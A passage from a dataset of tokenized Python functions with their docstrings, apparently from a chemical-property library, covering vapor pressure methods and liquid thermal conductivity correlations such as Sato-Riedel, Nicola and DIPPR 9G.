{1-\\tau}\n\n        a = -6.1559 - 4.0855\\omega\n\n        b = 1.5737 - 1.0540\\omega - 4.4365\\times 10^{-3} d\n\n        c = -0.8747 - 7.8874\\omega\n\n        d = \\frac{1}{-0.4893 - 0.9912\\omega + 3.1551\\omega^2}\n\n        \\tau = 1 - \\frac{T}{T_c}\n\n    Parameters\n    ----------\n    T : float\n        Temperature of fluid [K]\n    Tc : float\n        Critical temperature of fluid [K]\n    Pc : float\n        Critical pressure of fluid [Pa]\n    omega : float\n        Acentric factor [-]\n\n    Returns\n    -------\n    Psat : float\n        Vapor pressure, [Pa]\n\n    Notes\n    -----\n    [1]_ found an average error of 6.06% on 94 compounds and 1106 data points.\n\n    Examples\n    --------\n    >>> Edalat(347.2, 617.1, 36E5, 0.299)\n    13461.273080743307\n\n    References\n    ----------\n    .. [1] Edalat, M., R. B. Bozar-Jomehri, and G. A. Mansoori. \"Generalized \n       Equation Predicts Vapor Pressure of Hydrocarbons.\" Oil and Gas Journal; \n       91:5 (February 1, 1993).", "id": "f15789:m8"}
{"signature": "def load_all_methods(self):", "body": "methods = []<EOL>Tmins, Tmaxs = [], []<EOL>if self.CASRN in WagnerMcGarry.index:<EOL><INDENT>methods.append(WAGNER_MCGARRY)<EOL>_, A, B, C, D, self.WAGNER_MCGARRY_Pc, self.WAGNER_MCGARRY_Tc, self.WAGNER_MCGARRY_Tmin = _WagnerMcGarry_values[WagnerMcGarry.index.get_loc(self.CASRN)].tolist()<EOL>self.WAGNER_MCGARRY_coefs = [A, B, C, D]<EOL>Tmins.append(self.WAGNER_MCGARRY_Tmin); Tmaxs.append(self.WAGNER_MCGARRY_Tc)<EOL><DEDENT>if self.CASRN in WagnerPoling.index:<EOL><INDENT>methods.append(WAGNER_POLING)<EOL>_, A, B, C, D, self.WAGNER_POLING_Tc, self.WAGNER_POLING_Pc, Tmin, self.WAGNER_POLING_Tmax = _WagnerPoling_values[WagnerPoling.index.get_loc(self.CASRN)].tolist()<EOL>self.WAGNER_POLING_Tmin = Tmin if not np.isnan(Tmin) else self.WAGNER_POLING_Tmax*<NUM_LIT:0.1><EOL>self.WAGNER_POLING_coefs = [A, B, C, D]<EOL>Tmins.append(Tmin); Tmaxs.append(self.WAGNER_POLING_Tmax)<EOL><DEDENT>if self.CASRN in AntoineExtended.index:<EOL><INDENT>methods.append(ANTOINE_EXTENDED_POLING)<EOL>_, A, B, C, Tc, to, n, E, F, self.ANTOINE_EXTENDED_POLING_Tmin, self.ANTOINE_EXTENDED_POLING_Tmax = _AntoineExtended_values[AntoineExtended.index.get_loc(self.CASRN)].tolist()<EOL>self.ANTOINE_EXTENDED_POLING_coefs = [Tc, to, A, B, C, n, E, F]<EOL>Tmins.append(self.ANTOINE_EXTENDED_POLING_Tmin); Tmaxs.append(self.ANTOINE_EXTENDED_POLING_Tmax)<EOL><DEDENT>if self.CASRN in AntoinePoling.index:<EOL><INDENT>methods.append(ANTOINE_POLING)<EOL>_, A, B, C, self.ANTOINE_POLING_Tmin, self.ANTOINE_POLING_Tmax = _AntoinePoling_values[AntoinePoling.index.get_loc(self.CASRN)].tolist()<EOL>self.ANTOINE_POLING_coefs = [A, B, C]<EOL>Tmins.append(self.ANTOINE_POLING_Tmin); Tmaxs.append(self.ANTOINE_POLING_Tmax)<EOL><DEDENT>if self.CASRN in Perrys2_8.index:<EOL><INDENT>methods.append(DIPPR_PERRY_8E)<EOL>_, C1, C2, C3, C4, C5, self.Perrys2_8_Tmin, self.Perrys2_8_Tmax = _Perrys2_8_values[Perrys2_8.index.get_loc(self.CASRN)].tolist()<EOL>self.Perrys2_8_coeffs = [C1, C2, C3, C4, C5]<EOL>Tmins.append(self.Perrys2_8_Tmin); Tmaxs.append(self.Perrys2_8_Tmax)<EOL><DEDENT>if has_CoolProp and self.CASRN in coolprop_dict:<EOL><INDENT>methods.append(COOLPROP)<EOL>self.CP_f = coolprop_fluids[self.CASRN]<EOL>Tmins.append(self.CP_f.Tmin); Tmaxs.append(self.CP_f.Tc)<EOL><DEDENT>if self.CASRN in _VDISaturationDict:<EOL><INDENT>methods.append(VDI_TABULAR)<EOL>Ts, props = VDI_tabular_data(self.CASRN, '<STR_LIT:P>')<EOL>self.VDI_Tmin = Ts[<NUM_LIT:0>]<EOL>self.VDI_Tmax = Ts[-<NUM_LIT:1>]<EOL>self.tabular_data[VDI_TABULAR] = (Ts, props)<EOL>Tmins.append(self.VDI_Tmin); Tmaxs.append(self.VDI_Tmax)<EOL><DEDENT>if self.CASRN in VDI_PPDS_3.index:<EOL><INDENT>_,  Tm, Tc, Pc, A, B, C, D = _VDI_PPDS_3_values[VDI_PPDS_3.index.get_loc(self.CASRN)].tolist()<EOL>self.VDI_PPDS_coeffs = [A, B, C, D]<EOL>self.VDI_PPDS_Tc = Tc<EOL>self.VDI_PPDS_Tm = Tm<EOL>self.VDI_PPDS_Pc = Pc<EOL>methods.append(VDI_PPDS)<EOL>Tmins.append(self.VDI_PPDS_Tm); Tmaxs.append(self.VDI_PPDS_Tc)<EOL><DEDENT>if all((self.Tb, self.Tc, self.Pc)):<EOL><INDENT>methods.append(BOILING_CRITICAL)<EOL>Tmins.append(<NUM_LIT>); Tmaxs.append(self.Tc)<EOL><DEDENT>if all((self.Tc, self.Pc, self.omega)):<EOL><INDENT>methods.append(LEE_KESLER_PSAT)<EOL>methods.append(AMBROSE_WALTON)<EOL>methods.append(SANJARI)<EOL>methods.append(EDALAT)<EOL>if self.eos:<EOL><INDENT>methods.append(EOS)<EOL><DEDENT>Tmins.append(<NUM_LIT>); Tmaxs.append(self.Tc)<EOL><DEDENT>self.all_methods = set(methods)<EOL>if Tmins and Tmaxs:<EOL><INDENT>self.Tmin = min(Tmins)<EOL>self.Tmax = max(Tmaxs)<EOL><DEDENT>", "docstring": "r'''Method which picks out coefficients for the specified chemical\n        from the various dictionaries and DataFrames storing it. All data is\n        stored as attributes. This method also sets :obj:`Tmin`, :obj:`Tmax`,\n        and :obj:`all_methods` as a set of methods for which the data exists for.\n\n        Called on initialization only. See the source code for the variables at\n        which the coefficients are stored. The coefficients can safely be\n        altered once the class is initialized. This method can be called again\n        to reset the parameters.", "id": "f15789:c0:m1"}
{"signature": "def calculate(self, T, method):", "body": "if method == WAGNER_MCGARRY:<EOL><INDENT>Psat = Wagner_original(T, self.WAGNER_MCGARRY_Tc, self.WAGNER_MCGARRY_Pc, *self.WAGNER_MCGARRY_coefs)<EOL><DEDENT>elif method == WAGNER_POLING:<EOL><INDENT>Psat = Wagner(T, self.WAGNER_POLING_Tc, self.WAGNER_POLING_Pc, *self.WAGNER_POLING_coefs)<EOL><DEDENT>elif method == ANTOINE_EXTENDED_POLING:<EOL><INDENT>Psat = TRC_Antoine_extended(T, *self.ANTOINE_EXTENDED_POLING_coefs)<EOL><DEDENT>elif method == ANTOINE_POLING:<EOL><INDENT>A, B, C = self.ANTOINE_POLING_coefs<EOL>Psat = Antoine(T, A, B, C, base=<NUM_LIT>)<EOL><DEDENT>elif method == DIPPR_PERRY_8E:<EOL><INDENT>Psat = EQ101(T, *self.Perrys2_8_coeffs)<EOL><DEDENT>elif method == VDI_PPDS:<EOL><INDENT>Psat = Wagner(T, self.VDI_PPDS_Tc, self.VDI_PPDS_Pc, *self.VDI_PPDS_coeffs)<EOL><DEDENT>elif method == COOLPROP:<EOL><INDENT>Psat = PropsSI('<STR_LIT:P>','<STR_LIT:T>', T,'<STR_LIT>',<NUM_LIT:0>, self.CASRN)<EOL><DEDENT>elif method == BOILING_CRITICAL:<EOL><INDENT>Psat = boiling_critical_relation(T, self.Tb, self.Tc, self.Pc)<EOL><DEDENT>elif method == LEE_KESLER_PSAT:<EOL><INDENT>Psat = Lee_Kesler(T, self.Tc, self.Pc, self.omega)<EOL><DEDENT>elif method == AMBROSE_WALTON:<EOL><INDENT>Psat = Ambrose_Walton(T, self.Tc, self.Pc, self.omega)<EOL><DEDENT>elif method == SANJARI:<EOL><INDENT>Psat = Sanjari(T, self.Tc, self.Pc, self.omega)<EOL><DEDENT>elif method == EDALAT:<EOL><INDENT>Psat = Edalat(T, self.Tc, self.Pc, self.omega)<EOL><DEDENT>elif method == EOS:<EOL><INDENT>Psat = self.eos[<NUM_LIT:0>].Psat(T)<EOL><DEDENT>elif method in self.tabular_data:<EOL><INDENT>Psat = self.interpolate(T, method)<EOL><DEDENT>return Psat<EOL>", "docstring": "r'''Method to calculate vapor pressure of a fluid at temperature `T`\n        with a given method.\n\n        This method has no exception handling; see `T_dependent_property`\n        for that.\n\n        Parameters\n        ----------\n        T : float\n            Temperature at calculate vapor pressure, [K]\n        method : str\n            Name of the method to use\n\n        Returns\n        -------\n        Psat : float\n            Vapor pressure at T, [pa]", "id": "f15789:c0:m2"}
{"signature": "def Sheffy_Johnson(T, M, Tm):", "body": "return <NUM_LIT>*(<NUM_LIT:1> - <NUM_LIT>*(T - Tm))/(Tm**<NUM_LIT>*M**<NUM_LIT>)<EOL>", "docstring": "r'''Calculate the thermal conductivity of a liquid as a function of\n    temperature using the Sheffy-Johnson (1961) method. Requires\n    Temperature, molecular weight, and melting point.\n\n    .. math::\n        k = 1.951 \\frac{1-0.00126(T-T_m)}{T_m^{0.216}MW^{0.3}}\n\n    Parameters\n    ----------\n    T : float\n        Temperature of the fluid [K]\n    M : float\n        Molecular weight of the fluid [g/mol]\n    Tm : float\n        Melting point of the fluid [K]\n\n    Returns\n    -------\n    kl : float\n        Thermal conductivity of the fluid, W/m/k\n\n    Notes\n    -----\n    The origin of this equation has been challenging to trace. It is\n    presently unknown, and untested.\n\n    Examples\n    --------\n    >>> Sheffy_Johnson(300, 47, 280)\n    0.17740150413112196\n\n    References\n    ----------\n    .. [1] Scheffy, W. J., and E. F. Johnson. \"Thermal Conductivities of\n       Liquids at High Temperatures.\" Journal of Chemical & Engineering Data\n       6, no. 2 (April 1, 1961): 245-49. doi:10.1021/je60010a019", "id": "f15790:m0"}
{"signature": "def Sato_Riedel(T, M, Tb, Tc):", "body": "Tr = T/Tc<EOL>Tbr = Tb/Tc<EOL>return <NUM_LIT>*(<NUM_LIT> + <NUM_LIT>*(<NUM_LIT:1> - Tr)**(<NUM_LIT:2>/<NUM_LIT>))*M**-<NUM_LIT:0.5>/(<NUM_LIT> + <NUM_LIT>*(<NUM_LIT:1> - Tbr)**(<NUM_LIT:2>/<NUM_LIT>))<EOL>", "docstring": "r'''Calculate the thermal conductivity of a liquid as a function of\n    temperature using the CSP method of Sato-Riedel [1]_, [2]_, published in\n    Reid [3]_. Requires temperature, molecular weight, and boiling and critical\n    temperatures.\n\n    .. math::\n        k = \\frac{1.1053}{\\sqrt{MW}}\\frac{3+20(1-T_r)^{2/3}}\n        {3+20(1-T_{br})^{2/3}}\n\n    Parameters\n    ----------\n    T : float\n        Temperature of the fluid [K]\n    M : float\n        Molecular weight of the fluid [g/mol]\n    Tb : float\n        Boiling temperature of the fluid [K]\n    Tc : float\n        Critical temperature of the fluid [K]\n\n    Returns\n    -------\n    kl : float\n        Estimated liquid thermal conductivity [W/m/k]\n\n    Notes\n    -----\n    This equation has a complicated history. It is proposed by Reid [3]_.\n    Limited accuracy should be expected. Uncheecked.\n\n    Examples\n    --------\n    >>> Sato_Riedel(300, 47, 390, 520)\n    0.21037692461337687\n\n    References\n    ----------\n    .. [1] Riedel, L.: Chem. Ing. Tech., 21, 349 (1949); 23: 59, 321, 465 (1951)\n    .. [2] Maejima, T., private communication, 1973\n    .. [3] Properties of Gases and Liquids\", 3rd Ed., McGraw-Hill, 1977", "id": "f15790:m1"}
{"signature": "def Lakshmi_Prasad(T, M):", "body": "return <NUM_LIT> - <NUM_LIT>*T + (<NUM_LIT> - <NUM_LIT>*T)*M**-<NUM_LIT:0.5><EOL>", "docstring": "r'''Estimates thermal conductivity of pure liquids as a function of\n    temperature using a reference fluid approach. Low accuracy but quick.\n    Developed using several organic fluids.\n\n    .. math::\n        \\lambda = 0.0655-0.0005T + \\frac{1.3855-0.00197T}{M^{0.5}}\n\n    Parameters\n    ----------\n    T : float\n        Temperature of the fluid [K]\n    M : float\n        Molecular weight of the fluid [g/mol]\n\n    Returns\n    -------\n    kl : float\n        Estimated liquid thermal conductivity [W/m/k]\n\n    Notes\n    -----\n    This equation returns negative numbers at high T sometimes.\n    This equation is one of those implemented by DDBST.\n    If this results in a negative thermal conductivity, no value is returned.\n\n    Examples\n    --------\n    >>> Lakshmi_Prasad(273.15, 100)\n    0.013664450000000009\n\n    References\n    ----------\n    .. [1] Lakshmi, D. S., and D. H. L. Prasad. \"A Rapid Estimation Method for\n       Thermal Conductivity of Pure Liquids.\" The Chemical Engineering Journal\n       48, no. 3 (April 1992): 211-14. doi:10.1016/0300-9467(92)80037-B", "id": "f15790:m2"}
{"signature": "def Gharagheizi_liquid(T, M, Tb, Pc, omega):", "body": "Pc = Pc/<NUM_LIT><EOL>B = <NUM_LIT>*M + <NUM_LIT>*Tb - <NUM_LIT><EOL>A = <NUM_LIT>*M**<NUM_LIT:8>*(<NUM_LIT>*B + <NUM_LIT>*M - <NUM_LIT>)<EOL>kl = <NUM_LIT>*(<NUM_LIT>*omega + <NUM_LIT>*Pc - <NUM_LIT>*T + <NUM_LIT> + <NUM_LIT>*(Tb + <NUM_LIT>*B*B/(M*M))<EOL>+ <NUM_LIT>*M**<NUM_LIT:4>*B**-<NUM_LIT:4> + A*B**-<NUM_LIT:8>)<EOL>return kl<EOL>", "docstring": "r'''Estimates the thermal conductivity of a liquid as a function of\n    temperature using the CSP method of Gharagheizi [1]_. A  convoluted\n    method claiming high-accuracy and using only statistically significant\n    variable following analalysis.\n\n    Requires temperature, molecular weight, boiling temperature and critical\n    pressure and acentric factor.\n\n    .. math::\n        &k = 10^{-4}\\left[10\\omega + 2P_c-2T+4+1.908(T_b+\\frac{1.009B^2}{MW^2})\n        +\\frac{3.9287MW^4}{B^4}+\\frac{A}{B^8}\\right]\n\n        &A = 3.8588MW^8(1.0045B+6.5152MW-8.9756)\n\n        &B = 16.0407MW+2T_b-27.9074\n\n    Parameters\n    ----------\n    T : float\n        Temperature of the fluid [K]\n    M : float\n        Molecular weight of the fluid [g/mol]\n    Tb : float\n        Boiling temperature of the fluid [K]\n    Pc : float\n        Critical pressure of the fluid [Pa]\n    omega : float\n        Acentric factor of the fluid [-]\n\n    Returns\n    -------\n    kl : float\n        Estimated liquid thermal conductivity [W/m/k]\n\n    Notes\n    -----\n    Pressure is internally converted into bar, as used in the original equation.\n\n    This equation was derived with 19000 points representing 1640 unique compounds.\n\n    Examples\n    --------\n    >>> Gharagheizi_liquid(300, 40, 350, 1E6, 0.27)\n    0.2171113029534838\n\n    References\n    ----------\n    .. [1] Gharagheizi, Farhad, Poorandokht Ilani-Kashkouli, Mehdi Sattari,\n        Amir H. Mohammadi, Deresh Ramjugernath, and Dominique Richon.\n        \"Development of a General Model for Determination of Thermal\n        Conductivity of Liquid Chemical Compounds at Atmospheric Pressure.\"\n        AIChE Journal 59, no. 5 (May 1, 2013): 1702-8. doi:10.1002/aic.13938", "id": "f15790:m3"}
{"signature": "def Nicola_original(T, M, Tc, omega, Hfus):", "body": "Tr = T/Tc<EOL>Hfus = Hfus*<NUM_LIT:1000><EOL>return -<NUM_LIT> - <NUM_LIT>*Tr + <NUM_LIT>*Hfus + <NUM_LIT>*omega + (<NUM_LIT:1.>/M)**<NUM_LIT><EOL>", "docstring": "r'''Estimates the thermal conductivity of a liquid as a function of\n    temperature using the CSP method of Nicola [1]_. A  simpler but long\n    method claiming high-accuracy and using only statistically significant\n    variable following analalysis.\n\n    Requires temperature, molecular weight, critical temperature, acentric\n    factor and the heat of vaporization.\n\n    .. math::\n        \\frac{\\lambda}{1 \\text{Wm/K}}=-0.5694-0.1436T_r+5.4893\\times10^{-10}\n        \\frac{\\Delta_{fus}H}{\\text{kmol/J}}+0.0508\\omega +\n        \\left(\\frac{1 \\text{kg/kmol}}{MW}\\right)^{0.0622}\n\n    Parameters\n    ----------\n    T : float\n        Temperature of the fluid [K]\n    M : float\n        Molecular weight of the fluid [g/mol]\n    Tc : float\n        Critical temperature of the fluid [K]\n    omega : float\n        Acentric factor of the fluid [-]\n    Hfus : float\n        Heat of fusion of the fluid [J/mol]\n\n    Returns\n    -------\n    kl : float\n        Estimated liquid thermal conductivity [W/m/k]\n\n    Notes\n    -----\n    A weird statistical correlation. Recent and yet to be reviewed.\n    This correlation has been superceded by the author's later work.\n    Hfus is internally converted to be in J/kmol.\n\n    Examples\n    --------\n    >>> Nicola_original(300, 142.3, 611.7, 0.49, 201853)\n    0.2305018632230984\n\n    References\n    ----------\n    .. [1] Nicola, Giovanni Di, Eleonora Ciarrocchi, Mariano Pierantozzi, and\n        Roman Stryjek. \"A New Equation for the Thermal Conductivity of Organic\n        Compounds.\" Journal of Thermal Analysis and Calorimetry 116, no. 1\n        (April 1, 2014): 135-40. doi:10.1007/s10973-013-3422-7", "id": "f15790:m4"}
{"signature": "def Nicola(T, M, Tc, Pc, omega):", "body": "Tr = T/Tc<EOL>Pc = Pc/<NUM_LIT><EOL>return <NUM_LIT>*(-<NUM_LIT>*Tr + <NUM_LIT>*Pc + <NUM_LIT>*omega + (<NUM_LIT:1.>/M)**<NUM_LIT>)<EOL>", "docstring": "r'''Estimates the thermal conductivity of a liquid as a function of\n    temperature using the CSP method of [1]_. A statistically derived\n    equation using any correlated terms.\n\n    Requires temperature, molecular weight, critical temperature and pressure,\n    and acentric factor.\n\n    .. math::\n        \\frac{\\lambda}{0.5147 W/m/K} = -0.2537T_r+\\frac{0.0017Pc}{\\text{bar}}\n        +0.1501 \\omega + \\left(\\frac{1}{MW}\\right)^{-0.2999}\n\n    Parameters\n    ----------\n    T : float\n        Temperature of the fluid [K]\n    M : float\n        Molecular weight of the fluid [g/mol]\n    Tc : float\n        Critical temperature of the fluid [K]\n    Pc : float\n        Critical pressure of the fluid [Pa]\n    omega : float\n        Acentric factor of the fluid [-]\n\n    Returns\n    -------\n    kl : float\n        Estimated liquid thermal conductivity [W/m/k]\n\n    Notes\n    -----\n    A statistical correlation. A revision of an original correlation.\n\n    Examples\n    --------\n    >>> Nicola(300, 142.3, 611.7, 2110000.0, 0.49)\n    0.10863821554584034\n\n    References\n    ----------\n    .. [1] Di Nicola, Giovanni, Eleonora Ciarrocchi, Gianluca Coccia, and\n       Mariano Pierantozzi. \"Correlations of Thermal Conductivity for\n       Liquid Refrigerants at Atmospheric Pressure or near Saturation.\"\n       International Journal of Refrigeration. 2014.\n       doi:10.1016/j.ijrefrig.2014.06.003", "id": "f15790:m5"}
{"signature": "def Bahadori_liquid(T, M):", "body": "A = [-<NUM_LIT>, <NUM_LIT>, -<NUM_LIT>, <NUM_LIT>]<EOL>B = [<NUM_LIT>, -<NUM_LIT>, <NUM_LIT>, -<NUM_LIT>]<EOL>C = [-<NUM_LIT>, <NUM_LIT>, -<NUM_LIT>, <NUM_LIT>]<EOL>D = [<NUM_LIT>, -<NUM_LIT>, <NUM_LIT>, -<NUM_LIT>]<EOL>X, Y = M, T<EOL>a = A[<NUM_LIT:0>] + B[<NUM_LIT:0>]*X + C[<NUM_LIT:0>]*X**<NUM_LIT:2> + D[<NUM_LIT:0>]*X**<NUM_LIT:3><EOL>b = A[<NUM_LIT:1>] + B[<NUM_LIT:1>]*X + C[<NUM_LIT:1>]*X**<NUM_LIT:2> + D[<NUM_LIT:1>]*X**<NUM_LIT:3><EOL>c = A[<NUM_LIT:2>] + B[<NUM_LIT:2>]*X + C[<NUM_LIT:2>]*X**<NUM_LIT:2> + D[<NUM_LIT:2>]*X**<NUM_LIT:3><EOL>d = A[<NUM_LIT:3>] + B[<NUM_LIT:3>]*X + C[<NUM_LIT:3>]*X**<NUM_LIT:2> + D[<NUM_LIT:3>]*X**<NUM_LIT:3><EOL>return a + b*Y + c*Y**<NUM_LIT:2> + d*Y**<NUM_LIT:3><EOL>", "docstring": "r'''Estimates the thermal conductivity of parafin liquid hydrocarbons.\n    Fits their data well, and is useful as only MW is required.\n    X is the Molecular weight, and Y the temperature.\n\n    .. math::\n        K = a + bY + CY^2 + dY^3\n\n        a = A_1 + B_1 X + C_1 X^2 + D_1 X^3\n\n        b = A_2 + B_2 X + C_2 X^2 + D_2 X^3\n\n        c = A_3 + B_3 X + C_3 X^2 + D_3 X^3\n\n        d = A_4 + B_4 X + C_4 X^2 + D_4 X^3\n\n    Parameters\n    ----------\n    T : float\n        Temperature of the fluid [K]\n    M : float\n        Molecular weight of the fluid [g/mol]\n\n    Returns\n    -------\n    kl : float\n        Estimated liquid thermal conductivity [W/m/k]\n\n    Notes\n    -----\n    The accuracy of this equation has not been reviewed.\n\n    Examples\n    --------\n    Data point from [1]_.\n\n    >>> Bahadori_liquid(273.15, 170)\n    0.14274278108272603\n\n    References\n    ----------\n    .. [1] Bahadori, Alireza, and Saeid Mokhatab. \"Estimating Thermal\n       Conductivity of Hydrocarbons.\" Chemical Engineering 115, no. 13\n       (December 2008): 52-54", "id": "f15790:m6"}
{"signature": "def Mersmann_Kind_thermal_conductivity_liquid(T, MW, Tc, Vc, atoms):", "body": "na = sum(atoms.values())<EOL>lambda_star = <NUM_LIT:2>/<NUM_LIT>*(na + <NUM_LIT>*(<NUM_LIT:1.> - T/Tc)**<NUM_LIT:0.5>)<EOL>Vc = Vc*<NUM_LIT:1000> <EOL>N_A2 = N_A*<NUM_LIT:1000> <EOL>kl = lambda_star*(k*Tc)**<NUM_LIT>*N_A2**(<NUM_LIT:7>/<NUM_LIT>)*Vc**(-<NUM_LIT:2>/<NUM_LIT>)/Tc*MW**-<NUM_LIT:0.5><EOL>return kl<EOL>", "docstring": "r'''Estimates the thermal conductivity of organic liquid substances\n    according to the method of [1]_.\n\n    .. math::\n        \\lambda^* = \\frac{\\lambda\\cdot V_c^{2/3}\\cdot T_c\\cdot \\text{MW}^{0.5}}\n        {(k\\cdot T_c)^{1.5}\\cdot N_A^{7/6}}\n\n        \\lambda^* = \\frac{2}{3}\\left(n_a + 40\\sqrt{1-T_r}\\right)\n\n    Parameters\n    ----------\n    T : float\n        Temperature of the fluid [K]\n    M : float\n        Molecular weight of the fluid [g/mol]\n    Tc : float\n        Critical temperature of the fluid [K]\n    Vc : float\n        Critical volume of the fluid [m^3/mol]\n    atoms : dict\n        Dictionary of atoms and their counts, [-]\n\n    Returns\n    -------\n    kl : float\n        Estimated liquid thermal conductivity [W/m/k]\n\n    Notes\n    -----\n    In the equation, all quantities must be in SI units but N_A is in a kmol\n    basis and Vc is in units of (m^3/kmol); this is converted internally.\n\n    Examples\n    --------\n    Dodecane at 400 K:\n\n    >>> Mersmann_Kind_thermal_conductivity_liquid(400, 170.33484, 658.0, \n    ... 0.000754, {'C': 12, 'H': 26})\n    0.08952713798442789\n\n    References\n    ----------\n    .. [1] Mersmann, Alfons, and Matthias Kind. \"Prediction of Mechanical and \n       Thermal Properties of Pure Liquids, of Critical Data, and of Vapor \n       Pressure.\" Industrial & Engineering Chemistry Research, January 31, \n       2017. https://doi.org/10.1021/acs.iecr.6b04323.", "id": "f15790:m7"}
{"signature": "def DIPPR9G(T, P, Tc, Pc, kl):", "body": "Tr = T/Tc<EOL>Pr = P/Pc<EOL>return kl*(<NUM_LIT> + <NUM_LIT>*Pr*Tr**<NUM_LIT> + <NUM_LIT>*Tr**<NUM_LIT>*(Pr/(<NUM_LIT> + Pr)))<EOL>", "docstring": "r'''Adjustes for pressure the thermal conductivity of a liquid using an\n    emperical formula based on [1]_, but as given in [2]_.\n\n    .. math::\n        k = k^* \\left[ 0.98 + 0.0079 P_r T_r^{1.4} + 0.63 T_r^{1.2}\n        \\left( \\frac{P_r}{30 + P_r}\\right)\\right]\n\n    Parameters\n    ----------\n    T : float\n        Temperature of fluid [K]\n    P : float\n        Pressure of fluid [Pa]\n    Tc: float\n        Critical point of fluid [K]\n    Pc : float\n        Critical pressure of the fluid [Pa]\n    kl : float\n        Thermal conductivity of liquid at 1 atm or saturation, [W/m/K]\n\n    Returns\n    -------\n    kl_dense : float\n        Thermal conductivity of liquid at P, [W/m/K]\n\n    Notes\n    -----\n    This equation is entrely dimensionless; all dimensions cancel.\n    The original source has not been reviewed.\n\n    This is DIPPR Procedure 9G: Method for the Thermal Conductivity of Pure\n    Nonhydrocarbon Liquids at High Pressures\n\n    Examples\n    --------\n    From [2]_, for butyl acetate.\n\n    >>> DIPPR9G(515.05, 3.92E7, 579.15, 3.212E6, 7.085E-2)\n    0.0864419738671184\n\n    References\n    ----------\n    .. [1] Missenard, F. A., Thermal Conductivity of Organic Liquids of a\n       Series or a Group of Liquids , Rev. Gen.Thermodyn., 101 649 (1970).\n    .. [2] Danner, Ronald P, and Design Institute for Physical Property Data.\n       Manual for Predicting Chemical Process Design Data. New York, N.Y, 1982.", "id": "f15790:m8"}
{"signature": "def Missenard(T, P, Tc, Pc, kl):", "body": "Tr = T/Tc<EOL>Pr = P/Pc<EOL>Q = float(Qfunc_Missenard(Pr, Tr))<EOL>return kl*(<NUM_LIT:1.> + Q*Pr**<NUM_LIT>)<EOL>", "docstring": "r'''Adjustes for pressure the thermal conductivity of a liquid using an\n    emperical formula based on [1]_, but as given in [2]_.\n\n    .. math::\n        \\frac{k}{k^*} = 1 + Q P_r^{0.7}\n\n    Parameters\n    ----------\n    T : float\n        Temperature of fluid [K]\n    P : float\n        Pressure of fluid [Pa]\n    Tc: float\n        Critical point of fluid [K]\n    Pc : float\n        Critical pressure of the fluid [Pa]\n    kl : float\n        Thermal conductivity of liquid at 1 atm or saturation, [W/m/K]\n\n    Returns\n    -------\n    kl_dense : float\n        Thermal conductivity of liquid at P, [W/m/K]\n\n    Notes\n    -----\n    This equation is entirely dimensionless; all dimensions cancel.\n    An interpolation routine is used here from tabulated values of Q.\n    The original source has not been reviewed.\n\n    Examples\n    --------\n    Example from [2]_, toluene; matches.\n\n    >>> Missenard(304., 6330E5, 591.8, 41E5, 0.129)\n    0.2198375777069657\n\n    References\n    ----------\n    .. [1] Missenard, F. A., Thermal Conductivity of Organic Liquids of a\n       Series or a Group of Liquids , Rev. Gen.Thermodyn., 101 649 (1970).\n    .. [2] Poling, Bruce E. The Properties of Gases and Liquids. 5th edition.\n       New York: McGraw-Hill Professional, 2000.", "id": "f15790:m9"}
{"signature": "def DIPPR9H(ws, ks):", "body": "if not none_and_length_check([ks, ws]):  <EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>return sum(ws[i]/ks[i]**<NUM_LIT:2> for i in range(len(ws)))**(-<NUM_LIT:0.5>)<EOL>", "docstring": "r'''Calculates thermal conductivity of a liquid mixture according to\n    mixing rules in [1]_ and also in [2]_.\n\n    .. math::\n        \\lambda_m = \\left( \\sum_i w_i \\lambda_i^{-2}\\right)^{-1/2}\n\n    Parameters\n    ----------\n    ws : float\n        Mass fractions of components\n    ks : float\n        Liquid thermal conductivites of all components, [W/m/K]\n\n    Returns\n    -------\n    kl : float\n        Thermal conductivity of liquid mixture, [W/m/K]\n\n    Notes\n    -----\n    This equation is entirely dimensionless; all dimensions cancel.\n    The example is from [2]_; all results agree.\n    The original source has not been reviewed.\n\n    DIPPR Procedure 9H: Method for the Thermal Conductivity of Nonaqueous Liquid Mixtures\n\n    Average deviations of 3%. for 118 nonaqueous systems with 817 data points.\n    Max deviation 20%. According to DIPPR.\n\n    Examples\n    --------\n    >>> DIPPR9H([0.258, 0.742], [0.1692, 0.1528])\n    0.15657104706719646\n\n    References\n    ----------\n    .. [1] Reid, Robert C.; Prausnitz, John M.; Poling, Bruce E. The\n       Properties of Gases and Liquids. McGraw-Hill Companies, 1987.\n    .. [2] Danner, Ronald P, and Design Institute for Physical Property Data.\n       Manual for Predicting Chemical Process Design Data. New York, N.Y, 1982.", "id": "f15790:m10"}
{"signature": "def Filippov(ws, ks):", "body": "if not none_and_length_check([ks, ws], <NUM_LIT:2>):  <EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>return ws[<NUM_LIT:0>]*ks[<NUM_LIT:0>] + ws[<NUM_LIT:1>]*ks[<NUM_LIT:1>] - <NUM_LIT>*ws[<NUM_LIT:0>]*ws[<NUM_LIT:1>]*(ks[<NUM_LIT:1>] - ks[<NUM_LIT:0>])<EOL>", "docstring": "r'''Calculates thermal conductivity of a binary liquid mixture according to\n    mixing rules in [2]_ as found in [1]_.\n\n    .. math::\n        \\lambda_m = w_1 \\lambda_1 + w_2\\lambda_2\n        - 0.72 w_1 w_2(\\lambda_2-\\lambda_1)\n\n    Parameters\n    ----------\n    ws : float\n        Mass fractions of components\n    ks : float\n        Liquid thermal conductivites of all components, [W/m/K]\n\n    Returns\n    -------\n    kl : float\n        Thermal conductivity of liquid mixture, [W/m/K]\n\n    Notes\n    -----\n    This equation is entirely dimensionless; all dimensions cancel.\n    The original source has not been reviewed.\n    Only useful for binary mixtures.\n\n    Examples\n    --------\n    >>> Filippov([0.258, 0.742], [0.1692, 0.1528])\n    0.15929167628799998\n\n    References\n    ----------\n    .. [1] Reid, Robert C.; Prausnitz, John M.; Poling, Bruce E. The\n       Properties of Gases and Liquids. McGraw-Hill Companies, 1987.\n    .. [2] Filippov, L. P.: Vest. Mosk. Univ., Ser. Fiz. Mat. Estestv. Nauk,\n       (8I0E): 67-69A955); Chem. Abstr., 50: 8276 A956).\n       Filippov, L. P., and N. S. Novoselova: Vestn. Mosk. Univ., Ser. F\n       iz. Mat. Estestv.Nauk, CI0B): 37-40A955); Chem. Abstr., 49: 11366 A955).", "id": "f15790:m11"}
